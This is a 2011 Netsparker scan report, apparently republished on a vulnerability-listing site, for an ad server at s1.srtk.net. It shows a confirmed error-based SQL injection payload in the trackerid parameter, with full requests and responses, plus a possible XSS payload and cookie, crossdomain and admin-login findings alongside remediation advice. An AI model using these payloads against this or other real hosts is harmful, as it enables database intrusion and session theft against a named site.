s1.srtk.net, DORK, GHRB, XSS REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Private Reporting of Security Research is preferred for Online Service Providers



Loading

Netsparker - Scan Report Summary
TARGET URL
https://s1.srtk.net/www/delivery/tjs.php?trac...
SCAN DATE
7/12/2011 9:20:45 AM
REPORT DATE
7/12/2011 9:29:23 AM
SCAN DURATION
00:06:17

Total Requests

Average Speed

req/sec.
15
identified
8
confirmed
2
critical
4
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
13 %
IMPORTANT
13 %
MEDIUM
13 %
LOW
33 %
INFORMATION
27 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/crossdomain.xml Open Policy Crossdomain.xml Identified Yes
/www/ Apache Version Disclosure No
PHP Version Disclosure No
/www/admin/index.php Cookie Not Marked As Secure Yes
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
/www/admin/js/ Directory Listing (Apache) No
/www/admin/js-gui.js E-mail Address Disclosure No
/www/delivery/ Forbidden Resource Yes
/www/delivery/tjs.php trackerid GET SQL Injection Yes
trackerid GET [Probable] SQL Injection No
Database User Has Admin Privileges Yes
trackerid GET [Possible] Cross-site Scripting No
trackerid GET Database Error Message No
MySQL Database Identified Yes
SQL Injection

SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /www/delivery/tjs.php

/www/delivery/tjs.php CONFIRMED

https://s1.srtk.net/www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2ccon..

Parameters

Parameter Type Value
trackerid GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
r GET 705910

Extracted Data

5.0.77-log

Request

GET /www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 979
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:1' for key 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:0' for key 1document.write("");
[Probable] SQL Injection

[Probable] SQL Injection

1 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /www/delivery/tjs.php

/www/delivery/tjs.php

https://s1.srtk.net/www/delivery/tjs.php?trackerid=%2527&r=705910

Parameters

Parameter Type Value
trackerid GET %27
r GET 705910

Request

GET /www/delivery/tjs.php?trackerid=%2527&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:02 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 721
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid=%27You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid=%27You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1document.write("");
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /www/admin/index.php

/www/admin/index.php CONFIRMED

https://s1.srtk.net/www/admin/index.php

Identified Cookie

sessionID

Request

GET /www/admin/index.php HTTP/1.1
Referer: https://s1.srtk.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: policyref="http://s1.srtk.net/w3c/s1.xml", CP="NON IVAa HISa OTPa OUR DELa IND UNI PUR COM NAV INT"
Set-Cookie: sessionID=phpads4e1c583f94ad85.71513255; path=/
Content-Encoding:
Vary: Accept-Encoding
Content-Length: 1424
Connection: close
Content-Type: text/html; charset=UTF-8


<html> <head> <title>Max Media Manager</title> <meta name='generator' content='Max Media Manager v0.3.20-alpha - http://max.m3.net'> <meta name='robots' content='noindex, nofollow'> <link rel='stylesheet' href='images/ltr/interface.css'> <link rel='stylesheet' type='text/css' media='all' href='js/jscalendar/calendar-openads.css' title='openads'> <script language='JavaScript' src='js-gui.js'></script> <script language='JavaScript' src='js/sorttable.js'></script> <script language='JavaScript' src='js/boxrow.js'></script> <script language='JavaScript' src='js/formValidation.php'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/lang/calendar-en.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar-setup.js'></script> <script language='JavaScript' src='js-form.php?language=english'></script> </head><body bgcolor='#FFFFFF' background='images/ltr/background.gif' text='#000000' leftmargin='0' topmargin='0' marginwidth='0' marginheight='0' onLoad='initPage();'><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td bgcolor='#000063'><img src=images/spacer.gif height='48' width='10'><img src='images/logo-s.gif' align='absmiddle'><img src=images/spacer.gif height='48' width='20'><span class='phpAdsNew'>Max Media Manager</span></td> <td bgcolor='#000063' valign='top' align='right'> &nbsp; </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='6' bgcolor='#000063'><img src='images/spacer.gif' height='1' width='1'></td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td height='24' width='181' bgcolor='#000063'>&nbsp;</td> <td height='24' bgcolor='#000063'> <table border='0' cellspacing='0' cellpadding='0' width='100%'> <tr> <td> <table border='0' cellspacing='0' cellpadding='0'> <tr height='1'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='1' width='1'></td> <td bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr> <tr> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF' valign='middle' nowrap>&nbsp;&nbsp;<a class='tab-s' href='index.php'>Authentication</a></td> <td bgcolor='#FFFFFF' align='right' valign='top'><img src='images/ltr/tab-toprightcorner-000063.gif' width='7' height='21'></td> <td><table border='0' cellspacing='0' cellpadding='0'><tr height='7'><td width='1'><img src='images/spacer.gif' height='7' width='1'></td></tr><tr height='14'><td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='14' width='1'></td></tr></table></td> </tr> <tr height='3'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#999999' width='1'><img src='images/spacer.gif' width='1'></td></tr> </table> </td> <td align='right' valign='middle' nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='1' bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr><tr> <td valign='top'> <table width='181' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='15'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td class='nav'> &nbsp; </td> </tr> </table> </td> <td valign='top' width='100%'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='10'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td><br /> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><br /><form name='login' method='post' onSubmit='return login_md5(this);' action='https://s1.srtk.net/www/admin/index.php'><input type='hidden' name='phpAds_cookiecheck' value='phpads4e1c583f94ad85.71513255'><input type='hidden' name='phpAds_md5' value=''><table width='100%' cellpadding='0' cellspacing='0' border='0'><tr><td width='80' valign='bottom'><img src='images/login-welcome.gif'>&nbsp;&nbsp;</td><td width='100%' valign='bottom'><span class='tab-s'>Welcome to Max Media Manager</span><br /><span class='install'>Enter your username and password to log in</span><br /><img src='images/break-el.gif' width='400' height='1' vspace='8'></td></tr><tr><td>&nbsp;</td><td><table cellpadding='0' cellspacing='0' border='0'><tr height='24'><td>Username:&nbsp;</td><td><input class='flat' type='text' name='username'></td></tr><tr height='24'><td>Password:&nbsp;</td><td><input class='flat' type='password' name='password'></td></tr><tr height='24'><td>&nbsp;</td><td><input type='submit' value='Login'></td></tr></table></td></tr></table></form> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><script language='JavaScript' src='md5.js'></script><script language='JavaScript'><!-- function login_md5(o) { if (o.password.value != '') { o.phpAds_md5.value = MD5(o.password.value); o.password.value = ''; } return true; } login_focus();//--> </script> </td> <td width='40'>&nbsp;</td> </tr> <tr> <td width='40' height='20'>&nbsp;</td> <td height='20'>&nbsp;</td> </tr> </table> </td></tr></table></body></html>
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /www/delivery/tjs.php

/www/delivery/tjs.php CONFIRMED

https://s1.srtk.net/www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2ccon..

Request

GET /www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 979
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:1' for key 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:0' for key 1document.write("");
Open Policy Crossdomain.xml Identified

Open Policy Crossdomain.xml Identified

1 TOTAL
MEDIUM
CONFIRMED
1
Netsparker identified Open Policy Crossdomain.xml file.

Impact

Open Policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.

Remedy

Configure your Crossdomain.xml to prevent access from everywhere to your domain.

External References

- /crossdomain.xml

/crossdomain.xml CONFIRMED

https://s1.srtk.net/crossdomain.xml

Policy Rules

Request

GET /crossdomain.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:48 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 01 Jul 2011 01:29:22 GMT
ETag: "108791-ff-4a6f7f2792080"
Accept-Ranges: bytes
Content-Length: 255
Connection: close
Content-Type: text/xml


<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <site-control permitted-cross-domain-policies="all"/> <allow-access-from domain="*"/></cross-domain-policy>
[Possible] Cross-site Scripting

[Possible] Cross-site Scripting

1 TOTAL
MEDIUM
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

Netsparker believes that there is a XSS (Cross-site Scripting) in here it could not confirm it. We strongly recommend investigating the issue manually to ensure that it is an XSS (Cross-site Scripting) and needs to be addressed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /www/delivery/tjs.php

/www/delivery/tjs.php

https://s1.srtk.net/www/delivery/tjs.php?trackerid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eale..

Parameters

Parameter Type Value
trackerid GET '"--></style></script><script>alert(0x000073)</script>
r GET 705910

Notes

Due to content-type of the response exploitation of this vulnerability might not be possible in all browsers or might not be possible at all. Content-type indicates that there is a possibility of exploitation by changing the attack however Netsparker does not support confirming these issues. You need to manually confirm this problem. Generally lack of filtering in the response can cause Cross-site Scripting vulnerabilities in browsers with auto mime sniffing such as Internet Explorer.

Request

GET /www/delivery/tjs.php?trackerid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000073)%3C/script%3E&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 953
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid=\'\"--></style></script><script>netsparker(0x000073)</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\"--></style></script><script>netsparker(0x000073)</script>' at line 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid=\'\"--></style></script><script>netsparker(0x000073)</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\"--></style></script><script>netsparker(0x000073)</script>' at line 1document.write("");
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /www/admin/index.php

/www/admin/index.php CONFIRMED

https://s1.srtk.net/www/admin/index.php

Identified Field Name

password

Request

GET /www/admin/index.php HTTP/1.1
Referer: https://s1.srtk.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: policyref="http://s1.srtk.net/w3c/s1.xml", CP="NON IVAa HISa OTPa OUR DELa IND UNI PUR COM NAV INT"
Set-Cookie: sessionID=phpads4e1c583f94ad85.71513255; path=/
Content-Encoding:
Vary: Accept-Encoding
Content-Length: 1424
Connection: close
Content-Type: text/html; charset=UTF-8


<html> <head> <title>Max Media Manager</title> <meta name='generator' content='Max Media Manager v0.3.20-alpha - http://max.m3.net'> <meta name='robots' content='noindex, nofollow'> <link rel='stylesheet' href='images/ltr/interface.css'> <link rel='stylesheet' type='text/css' media='all' href='js/jscalendar/calendar-openads.css' title='openads'> <script language='JavaScript' src='js-gui.js'></script> <script language='JavaScript' src='js/sorttable.js'></script> <script language='JavaScript' src='js/boxrow.js'></script> <script language='JavaScript' src='js/formValidation.php'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/lang/calendar-en.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar-setup.js'></script> <script language='JavaScript' src='js-form.php?language=english'></script> </head><body bgcolor='#FFFFFF' background='images/ltr/background.gif' text='#000000' leftmargin='0' topmargin='0' marginwidth='0' marginheight='0' onLoad='initPage();'><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td bgcolor='#000063'><img src=images/spacer.gif height='48' width='10'><img src='images/logo-s.gif' align='absmiddle'><img src=images/spacer.gif height='48' width='20'><span class='phpAdsNew'>Max Media Manager</span></td> <td bgcolor='#000063' valign='top' align='right'> &nbsp; </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='6' bgcolor='#000063'><img src='images/spacer.gif' height='1' width='1'></td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td height='24' width='181' bgcolor='#000063'>&nbsp;</td> <td height='24' bgcolor='#000063'> <table border='0' cellspacing='0' cellpadding='0' width='100%'> <tr> <td> <table border='0' cellspacing='0' cellpadding='0'> <tr height='1'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='1' width='1'></td> <td bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr> <tr> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF' valign='middle' nowrap>&nbsp;&nbsp;<a class='tab-s' href='index.php'>Authentication</a></td> <td bgcolor='#FFFFFF' align='right' valign='top'><img src='images/ltr/tab-toprightcorner-000063.gif' width='7' height='21'></td> <td><table border='0' cellspacing='0' cellpadding='0'><tr height='7'><td width='1'><img src='images/spacer.gif' height='7' width='1'></td></tr><tr height='14'><td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='14' width='1'></td></tr></table></td> </tr> <tr height='3'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#999999' width='1'><img src='images/spacer.gif' width='1'></td></tr> </table> </td> <td align='right' valign='middle' nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='1' bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr><tr> <td valign='top'> <table width='181' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='15'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td class='nav'> &nbsp; </td> </tr> </table> </td> <td valign='top' width='100%'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='10'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td><br /> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><br /><form name='login' method='post' onSubmit='return login_md5(this);' action='https://s1.srtk.net/www/admin/index.php'><input type='hidden' name='phpAds_cookiecheck' value='phpads4e1c583f94ad85.71513255'><input type='hidden' name='phpAds_md5' value=''><table width='100%' cellpadding='0' cellspacing='0' border='0'><tr><td width='80' valign='bottom'><img src='images/login-welcome.gif'>&nbsp;&nbsp;</td><td width='100%' valign='bottom'><span class='tab-s'>Welcome to Max Media Manager</span><br /><span class='install'>Enter your username and password to log in</span><br /><img src='images/break-el.gif' width='400' height='1' vspace='8'></td></tr><tr><td>&nbsp;</td><td><table cellpadding='0' cellspacing='0' border='0'><tr height='24'><td>Username:&nbsp;</td><td><input class='flat' type='text' name='username'></td></tr><tr height='24'><td>Password:&nbsp;</td><td><input class='flat' type='password' name='password'></td></tr><tr height='24'><td>&nbsp;</td><td><input type='submit' value='Login'></td></tr></table></td></tr></table></form> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><script language='JavaScript' src='md5.js'></script><script language='JavaScript'><!-- function login_md5(o) { if (o.password.value != '') { o.phpAds_md5.value = MD5(o.password.value); o.password.value = ''; } return true; } login_focus();//--> </script> </td> <td width='40'>&nbsp;</td> </tr> <tr> <td width='40' height='20'>&nbsp;</td> <td height='20'>&nbsp;</td> </tr> </table> </td></tr></table></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

